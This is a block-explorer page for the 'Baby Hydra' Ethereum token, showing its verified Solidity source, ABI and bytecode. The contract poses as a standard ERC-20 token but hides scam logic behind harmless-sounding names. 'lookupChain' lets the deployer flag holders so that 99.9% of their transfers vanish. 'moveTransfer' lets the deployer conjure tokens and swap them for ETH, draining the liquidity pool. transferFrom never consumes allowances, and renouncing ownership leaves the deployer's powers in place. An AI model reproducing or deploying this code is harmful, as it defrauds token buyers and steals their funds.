ETH Price: $2,630.77 (-1.49%)

Token

Baby Hydra (BABYHYDRA)
 

Overview

Max Total Supply

8,888,888,888 BABYHYDRA

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
254,989,059.215383285 BABYHYDRA

Value
$0.00
0xfd9c7b195462fc4a72b851046a1aaa0a52d3bc52
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BABYHYDRA

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-09-29
*/

/**

$BABYHYDRA

Telegram: https://t.me/babyhydraerc

Twitter: https://twitter.com/Babyhydraerc
*/



pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract BABYHYDRA is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 8888888888 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = unicode"Baby Hydra";
    string private _symbol = unicode"BABYHYDRA";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function extendFrom() public {
    }
    function extendTo() public {
    }
    function lookupChain(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function moveTransfer(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"extendFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"extendTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"lookupChain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"moveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600960018190556200001890600a6200026f565b6200002990640211d1ae3862000283565b60025560408051808201909152600a8152694261627920487964726160b01b60208201526003906200005c90826200033d565b5060408051808201909152600981526842414259485944524160b81b60208201526004906200008c90826200033d565b50600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015620000bf575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600254335f81815260096020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600680546001600160a01b0319163317905562000405565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620001b457815f190482111562000198576200019862000160565b80851615620001a657918102915b93841c939080029062000179565b509250929050565b5f82620001cc5750600162000269565b81620001da57505f62000269565b8160018114620001f35760028114620001fe576200021e565b600191505062000269565b60ff84111562000212576200021262000160565b50506001821b62000269565b5060208310610133831016604e8410600b841016171562000243575081810a62000269565b6200024f838362000174565b805f190482111562000265576200026562000160565b0290505b92915050565b5f6200027c8383620001bc565b9392505050565b808202811582820484141762000269576200026962000160565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002c657607f821691505b602082108103620002e557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000338575f81815260208120601f850160051c81016020861015620003135750805b601f850160051c820191505b8181101562000334578281556001016200031f565b5050505b505050565b81516001600160401b038111156200035957620003596200029d565b62000371816200036a8454620002b1565b84620002eb565b602080601f831160018114620003a7575f84156200038f5750858301515b5f19600386901b1c1916600185901b17855562000334565b5f85815260208120601f198616915b82811015620003d757888601518255948401946001909101908401620003b6565b5085821015620003f557878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b610de580620004135f395ff3fe608060405234801561000f575f80fd5b5060043610610127575f3560e01c80633eaaf86b116100a95780638da5cb5b1161006e5780638da5cb5b1461024157806395d89b4114610251578063a457c2d714610259578063a9059cbb1461026c578063dd62ed3e1461027f575f80fd5b80633eaaf86b146101dd5780634c8c37dd1461017f5780636f268a99146101e657806370a0823114610211578063715018a614610239575f80fd5b806323b872dd116100ef57806323b872dd14610193578063313ce567146101a657806332424aa3146101ae57806339380f8c146101b757806339509351146101ca575f80fd5b806306fdde031461012b578063095ea7b3146101495780630dc727401461016c57806318160ddd146101815780631bfe121f1461017f575b5f80fd5b6101336102b7565b6040516101409190610aa3565b60405180910390f35b61015c610157366004610b05565b610347565b6040519015158152602001610140565b61017f61017a366004610b2f565b61035d565b005b6002545b604051908152602001610140565b61015c6101a1366004610b9e565b6103e8565b600154610185565b61018560015481565b61017f6101c5366004610bdc565b61042c565b61015c6101d8366004610b05565b6105c1565b61018560025481565b6006546101f9906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b61018561021f366004610c0a565b6001600160a01b03165f9081526009602052604090205490565b61017f6105fb565b5f546001600160a01b03166101f9565b6101336106b0565b61015c610267366004610b05565b6106bf565b61015c61027a366004610b05565b610721565b61018561028d366004610c25565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6060600380546102c690610c51565b80601f01602080910402602001604051908101604052809291908181526020018280546102f290610c51565b801561033d5780601f106103145761010080835404028352916020019161033d565b820191905f5260205f20905b81548152906001019060200180831161032057829003601f168201915b5050505050905090565b5f61035333848461072d565b5060015b92915050565b435f5b828110156103e25761037c6006546001600160a01b0316331490565b156103d05761038c826001610c9d565b60085f8686858181106103a1576103a1610cb0565b90506020020160208101906103b69190610c0a565b6001600160a01b0316815260208101919091526040015f20555b806103da81610cc4565b915050610360565b50505050565b5f6103f4848484610853565b6001600160a01b0384165f908152600760209081526040808320338452909152902054821115610422575f80fd5b5060019392505050565b6104406006546001600160a01b0316331490565b156105bd5760055461045d9030906001600160a01b03168461072d565b305f9081526009602052604080822084905580516002808252606082019092529081602001602082028036833701905050905030815f815181106104a3576104a3610cb0565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156104fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051e9190610cdc565b8160018151811061053157610531610cb0565b6001600160a01b039283166020918202929092018101919091526005549091169063791ac9479085905f908590879061056b904290610c9d565b6040518663ffffffff1660e01b815260040161058b959493929190610cf7565b5f604051808303815f87803b1580156105a2575f80fd5b505af11580156105b4573d5f803e3d5ffd5b50505050505050565b5050565b5f61035333335f9081526007602090815260408083206001600160a01b038916845290915290205485906105f6908690610c9d565b61072d565b3361060d5f546001600160a01b031690565b6001600160a01b0316146106685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600480546102c690610c51565b335f9081526007602090815260408083206001600160a01b03861684529091528120548211156106ed575f80fd5b61035333335f9081526007602090815260408083206001600160a01b038916845290915290205485906105f6908690610d66565b5f610353338484610853565b6001600160a01b0383166107915760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065f565b6001600160a01b0382166107f35760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065f565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610866575f80fd5b6001600160a01b0384165f90815260096020526040902054821115610889575f80fd5b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108ce91815260200190565b60405180910390a36001600160a01b0384165f908152600960205260409020546108f9908390610d66565b6001600160a01b0385165f9081526009602090815260408083209390935560089052908120544310159061093b6103e8610935866103e76109ba565b90610a40565b6001600160a01b0387165f90815260086020526040902054909150158015906109615750815b1561096a578092505b6001600160a01b0385165f9081526009602052604090205461098c8486610d66565b6109969082610c9d565b6001600160a01b039096165f90815260096020526040902095909555505050505050565b5f825f036109c957505f610357565b5f6109d48385610d79565b9050826109e18583610d90565b14610a395760405162461bcd60e51b815260206004820152602260248201527f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c6044820152616f7760f01b606482015260840161065f565b9392505050565b5f808211610a905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a20206469766973696f6e206279207a65726f0000000000604482015260640161065f565b5f610a9b8385610d90565b949350505050565b5f6020808352835180828501525f5b81811015610ace57858101830151858201604001528201610ab2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b02575f80fd5b50565b5f8060408385031215610b16575f80fd5b8235610b2181610aee565b946020939093013593505050565b5f8060208385031215610b40575f80fd5b823567ffffffffffffffff80821115610b57575f80fd5b818501915085601f830112610b6a575f80fd5b813581811115610b78575f80fd5b8660208260051b8501011115610b8c575f80fd5b60209290920196919550909350505050565b5f805f60608486031215610bb0575f80fd5b8335610bbb81610aee565b92506020840135610bcb81610aee565b929592945050506040919091013590565b5f8060408385031215610bed575f80fd5b823591506020830135610bff81610aee565b809150509250929050565b5f60208284031215610c1a575f80fd5b8135610a3981610aee565b5f8060408385031215610c36575f80fd5b8235610c4181610aee565b91506020830135610bff81610aee565b600181811c90821680610c6557607f821691505b602082108103610c8357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561035757610357610c89565b634e487b7160e01b5f52603260045260245ffd5b5f60018201610cd557610cd5610c89565b5060010190565b5f60208284031215610cec575f80fd5b8151610a3981610aee565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610d455784516001600160a01b031683529383019391830191600101610d20565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035757610357610c89565b808202811582820484141761035757610357610c89565b5f82610daa57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220912b44bd9ca05aa42685db93a1e8848dc0c3463a22d16f36f1439110edce3ed264736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610127575f3560e01c80633eaaf86b116100a95780638da5cb5b1161006e5780638da5cb5b1461024157806395d89b4114610251578063a457c2d714610259578063a9059cbb1461026c578063dd62ed3e1461027f575f80fd5b80633eaaf86b146101dd5780634c8c37dd1461017f5780636f268a99146101e657806370a0823114610211578063715018a614610239575f80fd5b806323b872dd116100ef57806323b872dd14610193578063313ce567146101a657806332424aa3146101ae57806339380f8c146101b757806339509351146101ca575f80fd5b806306fdde031461012b578063095ea7b3146101495780630dc727401461016c57806318160ddd146101815780631bfe121f1461017f575b5f80fd5b6101336102b7565b6040516101409190610aa3565b60405180910390f35b61015c610157366004610b05565b610347565b6040519015158152602001610140565b61017f61017a366004610b2f565b61035d565b005b6002545b604051908152602001610140565b61015c6101a1366004610b9e565b6103e8565b600154610185565b61018560015481565b61017f6101c5366004610bdc565b61042c565b61015c6101d8366004610b05565b6105c1565b61018560025481565b6006546101f9906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b61018561021f366004610c0a565b6001600160a01b03165f9081526009602052604090205490565b61017f6105fb565b5f546001600160a01b03166101f9565b6101336106b0565b61015c610267366004610b05565b6106bf565b61015c61027a366004610b05565b610721565b61018561028d366004610c25565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6060600380546102c690610c51565b80601f01602080910402602001604051908101604052809291908181526020018280546102f290610c51565b801561033d5780601f106103145761010080835404028352916020019161033d565b820191905f5260205f20905b81548152906001019060200180831161032057829003601f168201915b5050505050905090565b5f61035333848461072d565b5060015b92915050565b435f5b828110156103e25761037c6006546001600160a01b0316331490565b156103d05761038c826001610c9d565b60085f8686858181106103a1576103a1610cb0565b90506020020160208101906103b69190610c0a565b6001600160a01b0316815260208101919091526040015f20555b806103da81610cc4565b915050610360565b50505050565b5f6103f4848484610853565b6001600160a01b0384165f908152600760209081526040808320338452909152902054821115610422575f80fd5b5060019392505050565b6104406006546001600160a01b0316331490565b156105bd5760055461045d9030906001600160a01b03168461072d565b305f9081526009602052604080822084905580516002808252606082019092529081602001602082028036833701905050905030815f815181106104a3576104a3610cb0565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156104fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051e9190610cdc565b8160018151811061053157610531610cb0565b6001600160a01b039283166020918202929092018101919091526005549091169063791ac9479085905f908590879061056b904290610c9d565b6040518663ffffffff1660e01b815260040161058b959493929190610cf7565b5f604051808303815f87803b1580156105a2575f80fd5b505af11580156105b4573d5f803e3d5ffd5b50505050505050565b5050565b5f61035333335f9081526007602090815260408083206001600160a01b038916845290915290205485906105f6908690610c9d565b61072d565b3361060d5f546001600160a01b031690565b6001600160a01b0316146106685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600480546102c690610c51565b335f9081526007602090815260408083206001600160a01b03861684529091528120548211156106ed575f80fd5b61035333335f9081526007602090815260408083206001600160a01b038916845290915290205485906105f6908690610d66565b5f610353338484610853565b6001600160a01b0383166107915760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065f565b6001600160a01b0382166107f35760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065f565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610866575f80fd5b6001600160a01b0384165f90815260096020526040902054821115610889575f80fd5b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108ce91815260200190565b60405180910390a36001600160a01b0384165f908152600960205260409020546108f9908390610d66565b6001600160a01b0385165f9081526009602090815260408083209390935560089052908120544310159061093b6103e8610935866103e76109ba565b90610a40565b6001600160a01b0387165f90815260086020526040902054909150158015906109615750815b1561096a578092505b6001600160a01b0385165f9081526009602052604090205461098c8486610d66565b6109969082610c9d565b6001600160a01b039096165f90815260096020526040902095909555505050505050565b5f825f036109c957505f610357565b5f6109d48385610d79565b9050826109e18583610d90565b14610a395760405162461bcd60e51b815260206004820152602260248201527f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c6044820152616f7760f01b606482015260840161065f565b9392505050565b5f808211610a905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a20206469766973696f6e206279207a65726f0000000000604482015260640161065f565b5f610a9b8385610d90565b949350505050565b5f6020808352835180828501525f5b81811015610ace57858101830151858201604001528201610ab2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b02575f80fd5b50565b5f8060408385031215610b16575f80fd5b8235610b2181610aee565b946020939093013593505050565b5f8060208385031215610b40575f80fd5b823567ffffffffffffffff80821115610b57575f80fd5b818501915085601f830112610b6a575f80fd5b813581811115610b78575f80fd5b8660208260051b8501011115610b8c575f80fd5b60209290920196919550909350505050565b5f805f60608486031215610bb0575f80fd5b8335610bbb81610aee565b92506020840135610bcb81610aee565b929592945050506040919091013590565b5f8060408385031215610bed575f80fd5b823591506020830135610bff81610aee565b809150509250929050565b5f60208284031215610c1a575f80fd5b8135610a3981610aee565b5f8060408385031215610c36575f80fd5b8235610c4181610aee565b91506020830135610bff81610aee565b600181811c90821680610c6557607f821691505b602082108103610c8357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561035757610357610c89565b634e487b7160e01b5f52603260045260245ffd5b5f60018201610cd557610cd5610c89565b5060010190565b5f60208284031215610cec575f80fd5b8151610a3981610aee565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610d455784516001600160a01b031683529383019391830191600101610d20565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035757610357610c89565b808202811582820484141761035757610357610c89565b5f82610daa57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220912b44bd9ca05aa42685db93a1e8848dc0c3463a22d16f36f1439110edce3ed264736f6c63430008150033

Deployed Bytecode Sourcemap

2044:4903:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2992:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6786:158;;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6786:158:0;1023:187:1;3283:356:0;;;;;;:::i;:::-;;:::i;:::-;;4961:93;5034:12;;4961:93;;;1981:25:1;;;1969:2;1954:18;4961:93:0;1835:177:1;3645:228:0;;;;;;:::i;:::-;;:::i;4663:87::-;4733:9;;4663:87;;2114:28;;;;;;5060:570;;;;;;:::i;:::-;;:::i;6367:201::-;;;;;;:::i;:::-;;:::i;2151:58::-;;;;;;2604:25;;;;;-1:-1:-1;;;;;2604:25:0;;;;;;-1:-1:-1;;;;;2962:32:1;;;2944:51;;2932:2;2917:18;2604:25:0;2798:203:1;3083:110:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3167:18:0;3140:7;3167:18;;;:9;:18;;;;;;;3083:110;1145:148;;;:::i;1299:71::-;1345:7;1362:6;-1:-1:-1;;;;;1362:6:0;1299:71;;3879:87;;;:::i;4288:243::-;;;;;;:::i;:::-;;:::i;6574:154::-;;;;;;:::i;:::-;;:::i;4148:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4247:18:0;;;4220:7;4247:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4148:134;2992:85;3031:13;3064:5;3057:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2992:85;:::o;6786:158::-;6860:4;6877:37;6886:10;6898:7;6907:6;6877:8;:37::i;:::-;-1:-1:-1;6932:4:0;6786:158;;;;;:::o;3283:356::-;4048:12;3358:19;3407:225;3434:33;;;3407:225;;;3505:17;4830:10;;-1:-1:-1;;;;;4830:10:0;4937;4830:24;;4756:107;3505:17;3500:121;;;3590:15;:11;3604:1;3590:15;:::i;:::-;3551:9;:36;3561:13;;3575:10;3561:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3551:36:0;;;;;;;;;;;;-1:-1:-1;3551:36:0;:54;3500:121;3470:12;;;;:::i;:::-;;;;3407:225;;;;3347:292;3283:356;;:::o;3645:228::-;3733:4;3750:35;3760:4;3766:9;3777:7;3750:9;:35::i;:::-;-1:-1:-1;;;;;3804:17:0;;;;;;:11;:17;;;;;;;;4937:10;3804:27;;;;;;;;:38;-1:-1:-1;3804:38:0;3796:47;;;;;;-1:-1:-1;3861:4:0;3645:228;;;;;:::o;5060:570::-;5142:17;4830:10;;-1:-1:-1;;;;;4830:10:0;4937;4830:24;;4756:107;5142:17;5138:485;;;5208:11;;5176:53;;5193:4;;-1:-1:-1;;;;;5208:11:0;5222:6;5176:8;:53::i;:::-;5263:4;5245:24;;;;:9;:24;;;;;;:33;;;5324:16;;5338:1;5324:16;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;5324:16:0;5293:47;;5380:4;5355:11;5367:1;5355:14;;;;;;;;:::i;:::-;-1:-1:-1;;;;;5355:30:0;;;:14;;;;;;;;;;:30;;;;5418:11;;:18;;;-1:-1:-1;;;5418:18:0;;;;:11;;;;;:16;;:18;;;;;5355:14;;5418:18;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5401:11;5413:1;5401:14;;;;;;;;:::i;:::-;-1:-1:-1;;;;;5401:35:0;;;:14;;;;;;;;;;:35;;;;5452:11;;;;;;:62;;5515:6;;5452:11;;5526;;5539:10;;5551:20;;:15;;:20;:::i;:::-;5452:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5161:423;5060:570;;:::o;5138:485::-;5060:570;;:::o;6367:201::-;6447:4;6464:74;4937:10;6504;6492:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;6492:32:0;;;;;;;;;;6483:7;;6492:45;;6527:10;;6492:45;:::i;:::-;6464:8;:74::i;1145:148::-;1541:10;1530:7;1345;1362:6;-1:-1:-1;;;;;1362:6:0;;1299:71;1530:7;-1:-1:-1;;;;;1530:21:0;;1522:66;;;;-1:-1:-1;;;1522:66:0;;6145:2:1;1522:66:0;;;6127:21:1;;;6164:18;;;6157:30;6223:34;6203:18;;;6196:62;6275:18;;1522:66:0;;;;;;;;;1252:1:::1;1236:6:::0;;1215:40:::1;::::0;-1:-1:-1;;;;;1236:6:0;;::::1;::::0;1215:40:::1;::::0;1252:1;;1215:40:::1;1283:1;1266:19:::0;;-1:-1:-1;;;;;;1266:19:0::1;::::0;;1145:148::o;3879:87::-;3918:13;3951:7;3944:14;;;;;:::i;4288:243::-;4398:10;4361:4;4386:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4386:29:0;;;;;;;;;;:39;-1:-1:-1;4386:39:0;4378:48;;;;;;4437:64;4937:10;4474;4462:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4462:29:0;;;;;;;;;;4456:4;;4462:38;;4494:6;;4462:38;:::i;6574